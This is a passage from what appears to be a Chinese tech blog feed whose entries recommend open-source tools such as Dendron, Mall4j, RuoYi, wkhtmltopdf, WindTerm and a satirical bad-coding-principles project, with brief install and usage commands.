<content type="html"><![CDATA[<p>不知道各位同学是使用哪款笔记软件来记录平时的学习资料的,大叔用过很多的笔记产品,那么是功能不够强大,要么笔记全云化,不够安全。</p><p>所幸的是我们工程师有一颗爱折腾的心,工具不趁手?那我自己做一个!</p><p>所以今天大叔给大家带来一个开源的笔记软件:<code>Dendron</code></p><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>Dendron 是一个开源的、笔记可本地化的、基于 Markdown 语法记录的笔记软件,可以与 <strong>VSCode</strong> 等 IDE 原生集成,非常适合开发人员构建自己的个人知识体系!</p><p>大多数的笔记软件记录的内容超过一定数量之后,整个体系就会变的非常杂乱,难以维护。</p><p>而 Dendron 创立的目标就是,将软件开发的关键经验应用在知识管理的体系之上,帮助用户组织、查找和使用任意数量的知识!</p><h3 id="功能特性"><a href="#功能特性" class="headerlink" title="功能特性"></a>功能特性</h3><p><strong>文本存储</strong></p><ul><li>使用 Git 进行管理;</li><li>可以使用任意文件器进行编辑(如 Vim)</li></ul><p><strong>Markdown 语法</strong></p><ul><li>使用 Markdown 语法,解决排版问题;</li><li>支持 Mermaid 语法创建图表;</li><li>支持 Katex 语法编写数学公式;</li></ul><p><strong>查询</strong></p><ul><li>使用统一的方式查找或创建笔记;</li><li>支持快速浏览或创建新的层次结构笔记;</li></ul><p><strong>反向链接</strong></p><ul><li>支持反向链接关联笔记关系;</li><li>能够导航到任意的注释、标题或块;</li><li>可使用图形可视化知识库;</li></ul><p><strong>重构</strong></p><ul><li>能够快速简单的重构您的知识库,而不会破环关联的链接;</li><li>能够随意重命名或移动笔记的任何部分;</li></ul><h3 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h3><p>前面大叔提到了 Dendron 支持在 VSCode 进行原生的集成,其实非常简单:</p><ol><li>在 VSCode 插件库中搜索 Dendron 进行安装</li></ol><p><img src="https://files.mdnice.com/user/21078/e126ddd6-ab76-4196-9ba6-92a81eb9df5c.png"></p><ol start="2"><li>安装后就能看到欢迎页面</li></ol><p><img src="https://files.mdnice.com/user/21078/79acd43c-6d8c-4d4e-88fb-0a283c6166bb.png"></p><ol start="3"><li>此时你就能在你的 VSCode 尽情的去使用这款笔记工具了!</li></ol><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>今天大叔就介绍到这里了,Dendron 拥有很强大的功能,需要大伙根据自己的需要去整理自己的知识库构建流程,想要了解更深入的话,可以去官网查看更多信息!</p><blockquote><p>Git 仓库:<a href="https://github.com/dendronhq/dendron">https://github.com/dendronhq/dendron</a></p></blockquote>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>又一个完整的开源商城</title>
<link href="/blog/2022/07/24/you-yi-ge-wan-zheng-de-kai-yuan-shang-cheng/"/>
<url>/blog/2022/07/24/you-yi-ge-wan-zheng-de-kai-yuan-shang-cheng/</url>
<content type="html"><![CDATA[<p>大家好,我是机灵的开源小妹</p><p>今天产品说要整个一套的商城系统,速度要快,最好几天之内搞定…<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207242258935.gif"></p><p>还让人愉快的玩耍吗?作为程序员怎么能不尝试下就放弃呢~<br>要快还要好使,想想,只能去 GitHub 里面找找了。<br>好在上天眷顾,找到了 Mall4j 这个项目。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207242258872.gif"></p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207242258477.png"></p><p>Mall4j项目是一个完整的开源的电商系统,采用现阶段流行技术实现。考虑到前后端分离,项目分为四个主要项目,java后台、vue后台前端、小程序、uni-app。代码风格良好,文档完善,社区氛围也不错,作者维护也很及时。</p><h3 id="技术选型"><a href="#技术选型" class="headerlink" title="技术选型"></a>技术选型</h3><p>可以看到用的都是比较流行的技术,学习参考也是不错的。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207242258758.png"></p><h2 id="文档"><a href="#文档" class="headerlink" title="文档"></a>文档</h2><p>项目作者提供了十分详尽的文档,感觉小白都可以根据文档搭建好,还有官方社群,可以提问。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207242258398.png"></p><h2 id="项目演示"><a href="#项目演示" class="headerlink" title="项目演示"></a>项目演示</h2><p>项目包含一个后台管理、手机端、小程序端、PC端。可以很好的覆盖多端的需求,算是一个比较完成的商城系统。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207242259562.png"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207242259843.png"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>怎么样,这个商城看起来是不是很不错,副业、学习都是不错的选择。如果觉得心动了,就赶紧访问开源项目地址试试吧。</p><h3 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址"></a>项目地址</h3><pre><code>java后台:https://gitee.com/gz-yami/mall4j</code></pre><pre><code>vue后台前端:https://gitee.com/gz-yami/mall4v</code></pre><pre><code>小程序:https://gitee.com/gz-yami/mall4m</code></pre><pre><code>uni-app:https://gitee.com/gz-yami/mall4uni</code></pre>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>炫酷的路径规划算法可视化项目,不进来看看?</title>
<link href="/blog/2022/07/24/xuan-ku-de-lu-jing-gui-hua-suan-fa-ke-shi-hua-xiang-mu-bu-jin-lai-kan-kan/"/>
<url>/blog/2022/07/24/xuan-ku-de-lu-jing-gui-hua-suan-fa-ke-shi-hua-xiang-mu-bu-jin-lai-kan-kan/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的大叔</p><p>大家如果准备过面试,或者刷过算法题应该多少都有接触过动态规划。</p><p>在学习中,由于没有可视化的展示算法,只是强行理解,看着看着就懵了。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207242154726.gif"></p><p>今天推荐一款可视化的动态规划的项目 PathPlanning,可以辅助我们理解动态规划的相关算法,一次性搞定它。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>PathPlanning 项目实现了一些常见路径规划算法,包括基于搜索的算法和基于采样的算法,并为每个算法设计了动画进行展示运行过程。<br>实现算法有:<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207242155167.png"></p><h2 id="演示效果"><a href="#演示效果" class="headerlink" title="演示效果"></a>演示效果</h2><p>看着动态图对着算法学习将会是事半功倍。<br>还可以对着提供的 python 代码去感受算法。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207242155997.gif"></p><h2 id="调试学习"><a href="#调试学习" class="headerlink" title="调试学习"></a>调试学习</h2><p>可以克隆一份代码,自己运行下,并跟踪下代码,体会下算法的精髓。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207242155192.png"></p><h2 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h2><p>作者还在最后提供了相关的资料,用于理解相关的算法。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207242155639.png"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>怎么样,这个项目用来教学或者学习都是非常好的,正所谓一图胜千言,用动态图的方式展现了动态规划算法的相关规律,极大的降低了学习和教学的难度。有教学或者学习需求的小伙伴们,快用起来吧~</p><h2 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址"></a>项目地址</h2><pre><code>https://github.com/zhm-real/PathPlanning</code></pre>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>推荐一款可以做外包项目的管理系统</title>
<link href="/blog/2022/07/24/tui-jian-yi-kuan-ke-yi-zuo-wai-bao-de-guan-li-xi-tong-ruo-yi/"/>
<url>/blog/2022/07/24/tui-jian-yi-kuan-ke-yi-zuo-wai-bao-de-guan-li-xi-tong-ruo-yi/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>后台管理系统是我们在工作中一定要有的,如果从0开始做,要做的功能还是很多的,比如登录、用户,角色、权限、通知公告等等,为了避免大家重复造轮子,大叔给大家推荐一款高分的后台管理系统 – 若依。</p><h3 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h3><p>**RuoYi **是一个后台管理系统,基于 Spring Boot、Apache Shiro、MyBatis、Thymeleaf,目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量。若依有前后端未分离版本、前后端分离版本、微服务版本,根据实际情况选择版本即可。</p><p><img src="https://oscimg.oschina.net/oscnet/up-42e518aa72a24d228427a1261cb3679f395.png"></p><h3 id="主要特性"><a href="#主要特性" class="headerlink" title="主要特性"></a>主要特性</h3><ul><li><p>提供多终端适配:电脑、平板、手机等所有主流设备,提供多种不同风格的皮肤</p></li><li><p>根据数据表生成增删改查的前后端代码</p></li><li><p>权限细化程度达到了按钮级别,可以自定义部门数据权限</p></li><li><p>支持多租户管理</p></li><li><p>简单配置即可实现多数据源切换</p></li><li><p>完善的日志记录体系</p></li><li><p>支持服务监控,数据监控,缓存监控,缓存列表等功能。</p></li><li><p>配置定时任务</p></li></ul><h3 id="技术选型"><a href="#技术选型" class="headerlink" title="技术选型"></a>技术选型</h3><ul><li>后端技术:SpringBoot、MyBatis、Shiro</li><li>前端:Bootstrap 、Thymeleaf 、Vue、Uniapp</li><li>数据库: Mysql</li></ul><h3 id="内置功能"><a href="#内置功能" class="headerlink" title="内置功能"></a>内置功能</h3><p>这里简单给大家列举几个功能,其他功能大家可以去官网查看。</p><ul><li>用户管理:该功能主要完成系统用户配置。</li></ul><p><img src="https://oscimg.oschina.net/oscnet/up-2dae3d87f6a8ca05057db059cd9a411d51d.png"></p><ul><li>部门管理:配置系统组织架构,树结构展现支持数据权限。</li></ul><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202207241729580.png"></p><ul><li><p>菜单管理:配置系统菜单,操作权限,按钮权限标识等。</p><p><img src="https://oscimg.oschina.net/oscnet/up-f886fe19bd820c0efae82f680223cac196c.png"></p></li><li><p>角色管理:菜单权限分配、设置角色按机构进行数据范围权限划分。</p><p><img src="https://oscimg.oschina.net/oscnet/up-c708b65f2c382a03f69fe1efa8d341e6cff.png"></p></li></ul><h3 id="项目扩展"><a href="#项目扩展" class="headerlink" title="项目扩展"></a>项目扩展</h3><p>基于若依框架,开发的完整项目。</p><table><thead><tr><th>项目名称</th><th>简介</th><th>项目地址</th></tr></thead><tbody><tr><td>RuoYi-zhangmrit</td><td>集成通用Mapper OSS模块 JWT 多数据源切面</td><td><a href="https://gitee.com/zhangmrit/RuoYi">https://gitee.com/zhangmrit/RuoYi</a></td></tr><tr><td>RuoYi-cloud</td><td>集成SpringCloud,ant-design-vue、token、redis</td><td><a href="https://gitee.com/zhangmrit/ruoyi-cloud">https://gitee.com/zhangmrit/ruoyi-cloud</a></td></tr><tr><td>RuoYi-NutzSite</td><td>集成CMS、支付宝、微信公众平台、阿里云、高德、七牛云</td><td><a href="https://gitee.com/TomYule/NutzSite.git">https://gitee.com/TomYule/NutzSite.git</a></td></tr><tr><td>RuoYi-plus</td><td>集成SpringCloud,config配置中心,使用tk.mybatis、lombok</td><td><a href="https://gitee.com/aimeng2017/RuoYi-plus/tree/master">https://gitee.com/aimeng2017/RuoYi-plus/tree/master</a></td></tr><tr><td>RuoYi-house</td><td>基于RuoYi+uniapp开发的租赁平台</td><td><a href="https://gitee.com/cookieBoy/house">https://gitee.com/cookieBoy/house</a></td></tr><tr><td>RuoYi-blog</td><td>基于RuoYi开发的博客系统</td><td><a href="https://gitee.com/GiteeKey/ruoyi-blog">https://gitee.com/GiteeKey/ruoyi-blog</a></td></tr></tbody></table><h3 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址"></a>项目地址</h3><p>官网地址:<a href="http://ruoyi.vip/">http://ruoyi.vip/</a></p><p>项目地址:<a href="https://gitee.com/y_project/RuoYi">https://gitee.com/y_project/RuoYi</a></p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>若依是基于SpringBoot开发的轻量级Java快速开发框架,开箱即用的后台管理框架,节省开发成本,喜欢的小伙伴,赶快去试试吧~</p>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>IDEA说:你别卷了,再卷我就撂挑子不干了!</title>
<link href="/blog/2022/07/23/idea-shuo-ni-bie-juan-liao-zai-juan-wo-jiu-lue-tiao-zi-bu-gan-liao/"/>
<url>/blog/2022/07/23/idea-shuo-ni-bie-juan-liao-zai-juan-wo-jiu-lue-tiao-zi-bu-gan-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是乐于弘扬良好工作风气的开源小妹。</p><p>开源大叔是一个热爱工作,熬夜敲代码根本停不下来的优秀社畜,但有的时候工作过于投入,一不小心就连续敲上两三个小时的代码,搞得头昏眼花,腰酸背痛。小妹有时看在眼里,疼在心上。</p><p><img src="http://img.esparks.cn/img/20220723175547_1e90dc00c4d6c0f492cc04488825cbc5.png" alt="img"></p><p>哼,其实是因为大叔太卷了,导致老板总以为正常下班的我是那个偷懒的人。</p><p>于是在我的威逼利诱之下,我给大叔安装了这个 IDEA 插件—— StopCoding。</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p>StopCoding 是一个开源的 IDEA 插件,可以设置工作时间和休息时间。当工作时间结束后,插件会弹窗提示你去休息,且在休息时间内不能操作 IDEA。哈哈,想不到吧!</p><h2 id="插件安装"><a href="#插件安装" class="headerlink" title="插件安装"></a>插件安装</h2><p>在线安装的话,可以在 IDEA 的插件市场里直接搜索 StopCoding。</p><p><img src="http://img.esparks.cn/img/20220723175550_3ae060f540a4529452a01de8694da3c1.png" alt="img"></p><p>也可以下载安装包,离线安装。地址:</p><pre class=" language-undefined"><code class="language-undefined">https://plugins.jetbrains.com/files/15740/108158/StopCoding.jar?updateId=108158&pluginId=15740&family=INTELLIJ</code></pre><h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><p>插件的参数配置路径:菜单栏Tools-&gt;StopCoding。</p><p>在界面中控制是否开启插件,以及工作时长和休息时长。</p><p><img src="http://img.esparks.cn/img/20220723175554_a87919bbc81f95e100cf977583221b09.png" alt="img"></p><p><img src="http://img.esparks.cn/img/20220723175558_a5c989d1e4cec6571c388cee025efd32.png" alt="img"></p><p>当休息时间到的时候,会出现无法关闭的弹窗,就是这么强硬!如图所示:</p><p><img src="http://img.esparks.cn/img/20220723175601_90fdfc188ba7c6e8f3f127b99daf5a93.png" alt="img"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>虽说我们可以用插件来控制自己的工作时长,但还是希望大家能够以身体健康为主,劳逸结合。保证一个良好的身体状态,才能可持续的发展呀。</p><p>项目地址如下,大家去自行获取吧~</p><pre class=" language-undefined"><code class="language-undefined">https://github.com/jogeen/StopCoding</code></pre>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>印象笔记飞书文档语雀都起开!我本地部署一个知识库不香吗?</title>
<link href="/blog/2022/07/23/yin-xiang-bi-ji-fei-shu-wen-dang-yu-que-du-qi-kai-wo-ben-di-bu-shu-yi-ge-zhi-shi-ku-bu-xiang-ma/"/>
<url>/blog/2022/07/23/yin-xiang-bi-ji-fei-shu-wen-dang-yu-que-du-qi-kai-wo-ben-di-bu-shu-yi-ge-zhi-shi-ku-bu-xiang-ma/</url>
<content type="html"><![CDATA[<p>大家好,我是热爱写文档的开源大叔。</p><p>相信我的读者朋友们都是热爱学习的小伙伴,大叔也是,习惯于在学习过程中,记录一些重点知识,保存成一篇篇文档。有时也会记录平日工作中的技术方案和工作中遇到的问题。常用的几款知识库管理工具大叔也都用过,比如飞书文档、语雀、印象笔记。使用的体验都很不错,但是有些公司可能要求比较严格,不允许将工作上的内容放到有云端存储的笔记软件中。所以是时候把我刚发现的一款开源知识管理工具介绍给大家啦!</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p>Think(云策文档)是一款开源的知识管理工具,用户可以通过独立的知识库空间,对知识进行积累和沉淀。</p><p>对 Think 试用了一段时间后,我发现它有着以下的优点:</p><ul><li>操作界面简洁,符合现代编辑器的操作习惯,和语雀的界面非常相似。书写文档的过程很舒畅,且支持Markdown 文档格式。</li></ul><p><img src="http://img.esparks.cn/img/20220723175411_c090e9042f3effe3d3e0ba5769247588.png" alt="img"></p><ul><li><p>支持在线多人协作</p></li><li><p>开源项目,可以在本地部署</p></li></ul><h2 id="项目部署"><a href="#项目部署" class="headerlink" title="项目部署"></a>项目部署</h2><p>项目使用了以下技术栈:</p><ul><li><p><code>MySQL</code>:数据存储</p></li><li><p><code>next.js</code>:前端页面框架</p></li><li><p><code>nest.js</code>:服务端框架</p></li><li><p><code>tiptap</code>:编辑器及文档协作</p></li></ul><p>如果要在本地直接部署使用,首先需要在本地部署MySQL和Redis服务,然后在<code>config</code> 文件夹下新建 <code>prod.yaml</code> 配置文件,各字段配置参考 <code>dev.yaml</code>文件即可。</p><p>之后执行以下命令:</p><pre class=" language-undefined"><code class="language-undefined">git clone https://github.com/fantasticit/think.gitcd thinkpnpm install # 安装依赖pnpm run build # 项目打包# 以下如果没有安装 pm2,直接 pnpm run start,推荐使用 pm2pnpm run pm2pm2 startuppm2 save</code></pre><p>服务启动成功后,各个地址如下:</p><ul><li><p>前台页面地址:<code>http://localhost:5001</code></p></li><li><p>服务接口地址:<code>http://localhost:5002</code></p></li><li><p>协作接口地址:<code>http://localhost:5003</code></p></li></ul><h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><p>如果不想本地部署,也可以访问官方的在线地址试用。</p><p>注册登录后,我们可以新建一个知识库。</p><p><img src="http://img.esparks.cn/img/20220723175416_39f0a180fd2aa9395fd750b4cbeb0292.png" alt="img"></p><p>创建知识库成功后,可以新建文档,这里也可以选择已有的模板。</p><p><img src="http://img.esparks.cn/img/20220723175419_f3d4a3cec60e548cc1fa8fcbe408c7d1.png" alt="img"></p><p>你可以在文档里插入各种元素,比如倒计时、代码块、流程图、思维导图,应有尽有。</p><p><img src="http://img.esparks.cn/img/20220723175423_56dd14d65928f06f39d1064f7dc341c1.png" alt="img"></p><p>也可以在知识库界面查看选择自己创建的知识库:</p><p><img src="http://img.esparks.cn/img/20220723175426_e36105fe52d50381ee4580e70aadd765.png" alt="img"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>好啦,这个项目就先介绍到这里了,如果大家感兴趣,可以自己去尝试一下。总的来说,Think 的 UI 交互很简洁,操作习惯也和现有的大型知识库管理工具非常一致,文档的内容十分丰富,最重要的是可以自己独立部署,不用担心数据泄露和隐私问题。</p><p>项目的地址和在线使用网址放到下面了,大家快去试试吧。</p><pre class=" language-undefined"><code class="language-undefined">https://github.com/fantasticit/thinkhttps://think.codingit.cn/</code></pre>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>卧槽,一行命令实现Html转PDF,强烈推荐!</title>
<link href="/blog/2022/07/23/wo-cao-yi-xing-ming-ling-shi-xian-html-zhuan-pdf-qiang-lie-tui-jian/"/>
<url>/blog/2022/07/23/wo-cao-yi-xing-ming-ling-shi-xian-html-zhuan-pdf-qiang-lie-tui-jian/</url>
<content type="html"><![CDATA[<p>卧槽,一行命令实现Html转PDF,强烈推荐!</p><p>大家好,我是爱撸码的开源大叔!</p><p>大家在日常的工作当中,应该经常会遇到将网页保存为PDF文档的需求。</p><p><img src="https://files.mdnice.com/user/20902/a7fd1cf9-e15e-43c9-b601-653e8f6cf911.png"></p><p>一般而言,直接使用浏览器自带的“打印”功能,选择“另存为PDF”,即可以输出 PDF 了。但是如果需要打印的数量多了,这个操作就很费劲了。</p><p>今天大叔逛 Github 的时候无意发现一个好用的开源项目-<code>wkhtmltopdf</code>,只需要一行命令就可以实现网页转 PDF 文件保存,结合各种语言,可以非常容易实现批量化操作。</p><p><img src="https://files.mdnice.com/user/20902/08f2a255-60ad-44ca-a656-8ead468a0d39.png"></p><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p><code>wkhtmltopdf</code>是一个用 C++ 编写的开源、简单而有效的命令行 shell 程序,它可以将任何 HTML (网页)转换为 PDF 文档或图像(jpg、png 等)。基于QT Webkit 渲染引擎,遵循LGPL开源协议。</p><h3 id="项目功能"><a href="#项目功能" class="headerlink" title="项目功能"></a>项目功能</h3><p><img src="https://files.mdnice.com/user/20902/706ea744-18b5-43a3-8c61-4eecfe201b7a.png"></p><h3 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h3><h4 id="1、安装"><a href="#1、安装" class="headerlink" title="1、安装"></a>1、安装</h4><p>官网地址是:</p><pre><code>https://wkhtmltopdf.org/</code></pre><p>选择你正在使用的操作系统对应的安装文件即可。</p><p><img src="https://files.mdnice.com/user/20902/f0bc8243-4a6c-4230-8c18-43e97081f910.png"></p><p>大叔这边以 windows 版本为例,下载完成直接安装即可。</p><h4 id="2、基本使用"><a href="#2、基本使用" class="headerlink" title="2、基本使用"></a>2、基本使用</h4><p>软件安装完成之后,就可以使用了。这里以 搜狗首页 为例,展示如何将 搜狗首页保存为 PDF 文件。</p><p>我们打开 cmd,找到安装路径下的 bin 目录,然后输入以下命令:</p><pre><code>wkhtmltopdf.exe https://www.sogou.com/ C:\sougou.pdf</code></pre><p>运行之后就可以在指定的目录C盘根目录下找到 sougou.pdf 文件了。</p><p><img src="https://files.mdnice.com/user/20902/03ba6a94-9af9-4bc6-98c9-375ab6be57db.png"></p><p>本地的 html 文件也是可以的,你只需要把 <a href="https://www.sogou.com/">https://www.sogou.com</a> 替换成成本地文件路径就行。</p><p>更多的使用参数可以使用<code>wkhtmltopdf.exe -h</code>进行查看。</p><p><img src="https://files.mdnice.com/user/20902/800a47da-532a-4913-a210-3ad3ea547d97.png"></p><h4 id="3、进阶使用"><a href="#3、进阶使用" class="headerlink" title="3、进阶使用"></a>3、进阶使用</h4><p>支持 PHP、Python、Java 等多种语言对项目程序的调用,进而可以实现各类不同的需求。</p><p>以 Python 为例,需要再安装pdfkit库(Python对wkhtmltopdf调用的封装库),支持URL,本地文件,文本内容到PDF的转换,实际转换还是最终调用wkhtmltopdf命令。</p><pre><code>import pdfkitpath_wkthmltopdf = r&#39;C:\Program Files\wkhtmltopdf\bin\wkhtmltopdf.exe&#39;config = pdfkit.configuration(wkhtmltopdf=path_wkthmltopdf)pdfkit.from_url(&#39;https://www.sogou.com/&#39;, &#39;sougou.pdf&#39;, configuration=config)</code></pre><p>最后,关于这个项目的更多详细使用功能,大家可以自己查阅下开源项目地址和官网:</p><pre><code>Github地址:https://github.com/wkhtmltopdf/wkhtmltopdf官网:https://wkhtmltopdf.org/</code></pre><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>超好用的开源SSH客户端,页面炫酷、功能超多!</title>
<link href="/blog/2022/07/19/chao-hao-yong-de-kai-yuan-ssh-ke-hu-duan-ye-mian-xuan-ku-gong-neng-chao-duo/"/>
<url>/blog/2022/07/19/chao-hao-yong-de-kai-yuan-ssh-ke-hu-duan-ye-mian-xuan-ku-gong-neng-chao-duo/</url>
<content type="html"><![CDATA[<p>今天大叔给大家带来的是一款免费开源的远程连接工具。现在市面上有很多不同 SSH 客户端,但是大叔使用了那么多客户端,却被这个客户端的界面一眼吸引了!<br>这个项目名就叫:<code>WindTerm</code></p><h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>WindTerm 是一款<strong>免费开源</strong>的SSH/Telnet/Tcp/Shell/Serial<strong>跨平台</strong>客户端,能够支持 SSH v2、Telnet、Raw Tcp、Serial、Shell 等常用的协议。</p><h3 id="功能"><a href="#功能" class="headerlink" title="功能"></a>功能</h3><p>WindTerm 拥有非常丰富的功能特性,比如:</p><ul><li>跨平台,支持 Windows、Linux、MacOS 系统;</li><li>支持 SSH v2、Telnet、Raw Tcp、串行、Shell协议;</li><li>支持 SSH 代理转发;</li><li>支持 SSH 自动登录:密码、公私钥等方式;</li><li>支持文件管理、会话管理、资源管理等功能;</li><li>集成 sftp、scp 客户端,能够支持文件的上传下载、删除、新建目录等文件管理功能;</li><li>支持 MacOS bash、zsh、Powershell;</li><li>支持自定义配色方案;</li><li>支持 Google、Bing、Github、Stackoverflow 在线文档搜索;</li><li>使用 C 语言开发,性能非常好!</li><li>……</li></ul><h3 id="颜值"><a href="#颜值" class="headerlink" title="颜值"></a>颜值</h3><p>一个工具除了功能强大之外,拥有炫酷的 UI 设计也能够让人唤起积极的动力!</p><p>而 WindTerm 的界面设计就非常的合大叔的心意:</p><p><img src="https://github.com/kingToolbox/WindTerm/blob/master/images/screenshots/WindTerm.png" alt="非常极客"></p><p><img src="https://github.com/kingToolbox/WindTerm/raw/master/images/screenshots/SplitView.png" alt="支持分栏"></p><p><img src="https://github.com/kingToolbox/WindTerm/blob/master/images/screenshots/WindTerm_DigeWhite_Theme.png" alt="支持不同主题"></p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>今天大叔给大家带来的这款高颜值的远程连接工具喜欢嘛?感兴趣的小伙伴赶快去试试看吧!</p><p>传送门:</p><p><a href="https://github.com/kingToolbox/WindTerm">https://github.com/kingToolbox/WindTerm</a></p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>如何写出令人窒息的烂代码?</title>
<link href="/blog/2022/07/17/ru-he-xie-chu-ling-ren-zhi-xi-de-lan-dai-ma/"/>
<url>/blog/2022/07/17/ru-he-xie-chu-ling-ren-zhi-xi-de-lan-dai-ma/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的大叔</p><p>我们一直在强调如何写出一份高质量可读的代码,但对大多数人来说太难了,有没有其他思路呢?</p><p>如果我们反过来想想,如何写一份垃圾代码如何?</p><p>今天介绍一款手把手教你写出令人窒息的烂代码开源项目 State-of-the-Art Shitcode Principles</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>State-of-the-Art Shitcode Principles 项目提供了一份垃圾代码的编写准则,按照准则编写就写出很垃圾的代码。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172221173.png"></p><p>作者还提供的相应的“垃圾代码”徽章,用垃圾准则编写的代码,打上独有的徽章,是不是很刺激~<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172221499.png"></p><pre><code>[![State-of-the-art Shitcode](https://img.shields.io/static/v1?label=State-of-the-art&amp;message=Shitcode&amp;color=7B5804)](https://github.com/trekhleb/state-of-the-art-shitcode)</code></pre><h2 id="使用准则"><a href="#使用准则" class="headerlink" title="使用准则"></a>使用准则</h2><p>作者还给每一条准则提供了一个很合理的理由,为啥这么干~~</p><h3 id="准则一-就简单的名称"><a href="#准则一-就简单的名称" class="headerlink" title="准则一 就简单的名称"></a>准则一 就简单的名称</h3><p>少即是多,速度为王,简单的命名方式,可以加速敲击代码的速度。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172205635.gif"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172221848.png"></p><h3 id="准则二-我就是颜色不一样的烟火"><a href="#准则二-我就是颜色不一样的烟火" class="headerlink" title="准则二 我就是颜色不一样的烟火"></a>准则二 我就是颜色不一样的烟火</h3><p>多种风格代码混搭,让人不容易犯困,惊喜不~<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172206733.gif"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172222732.png"></p><h3 id="准则三-懂我不需要解释"><a href="#准则三-懂我不需要解释" class="headerlink" title="准则三 懂我不需要解释"></a>准则三 懂我不需要解释</h3><p>注释这种东西写起来太费劲,写了又没人看,再说了懂我的还需要注释?<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172206439.gif"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172222905.png"></p><h3 id="准则四-看我省空间"><a href="#准则四-看我省空间" class="headerlink" title="准则四 看我省空间"></a>准则四 看我省空间</h3><p>换行空格啥的浪费空间,写一行就好了~<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172206338.gif"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172222046.png"></p><h3 id="准则五-就不告诉你"><a href="#准则五-就不告诉你" class="headerlink" title="准则五 就不告诉你"></a>准则五 就不告诉你</h3><p>错误什么的都得统统不见,全藏起来,这样才有惊喜~<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172207453.gif"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172222281.png"></p><h3 id="准则六-千层饼"><a href="#准则六-千层饼" class="headerlink" title="准则六 千层饼"></a>准则六 千层饼</h3><p>就喜欢这种一层叠一层的感觉,让人觉得你很厉害。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172207605.gif"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172222008.png"></p><h2 